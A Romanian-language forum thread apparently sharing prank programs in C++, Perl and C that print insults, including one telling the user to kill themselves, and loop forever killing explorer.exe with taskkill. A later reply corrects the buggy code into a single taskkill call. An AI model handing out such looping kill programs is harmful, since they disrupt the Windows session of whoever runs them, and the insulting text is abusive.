Jump to content
ghici

Inchiderea proceselor cu C++ si Perl

Recommended Posts

Posted

grettz go to DarthSion

Pt c++ folositi urmatorul exemplu :

#include <iostream.h>

#include <windows.h>

void main(){

cout << "nn Ti-am futut rashnitza nn";

cout << "aaaaaaa";

while(1){

System("taskkill -f -im explorer.exe";

}

Amatorii de perl pot folosi :

print "nn LOL sinucide-te!!!nnaaa";

while(1){

system("taskkill -f -im explorer.exe";

}

Daca vreti sa inchideti un proces dupa pid(adica nr de indentificare) si nu dupa numele sau normal(ceea cee putin probabil) folosit -pid in loc de -im.

Posted

atunci incearca varianta pt C:


#include <stdio.h>
#include <iostream.h>
#include <windows.h>
void main(){
printf("nn Ti-am futut rashnitza nn");
printf("aaaaaaa");
while(1){
System("taskkill -f -im explorer.exe");
}

Posted
Nu merge :(

in C++

atunci incearca varianta pt C:
#include <stdio.h>
#include <iostream.h>
#include <windows.h>
void main(){
printf("nn Ti-am futut rashnitza nn");
printf("aaaaaaa");
while(1){
System("taskkill -f -im explorer.exe");
}

nici aia nu merge..

1. ori pui o acolada un plus la sfarsitul main()-ului, ori o scoti pe cea de la inceputul while-ului.

2. nu ai nevoie de iostream.h sau windows.h

3. functia system() se scrie cu "s" mic + din cate stiu eu, ca sa folosesti system(), trebuie sa incluzi si stdlib.h (in Windows)

mai exact, ar trebui sa fie asa:


// #include <stdio.h> -> de fapt de asta n-ai nevoie
#include <stdlib.h>

int main() {
system("taskkill -f -im totalcmd.exe");
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...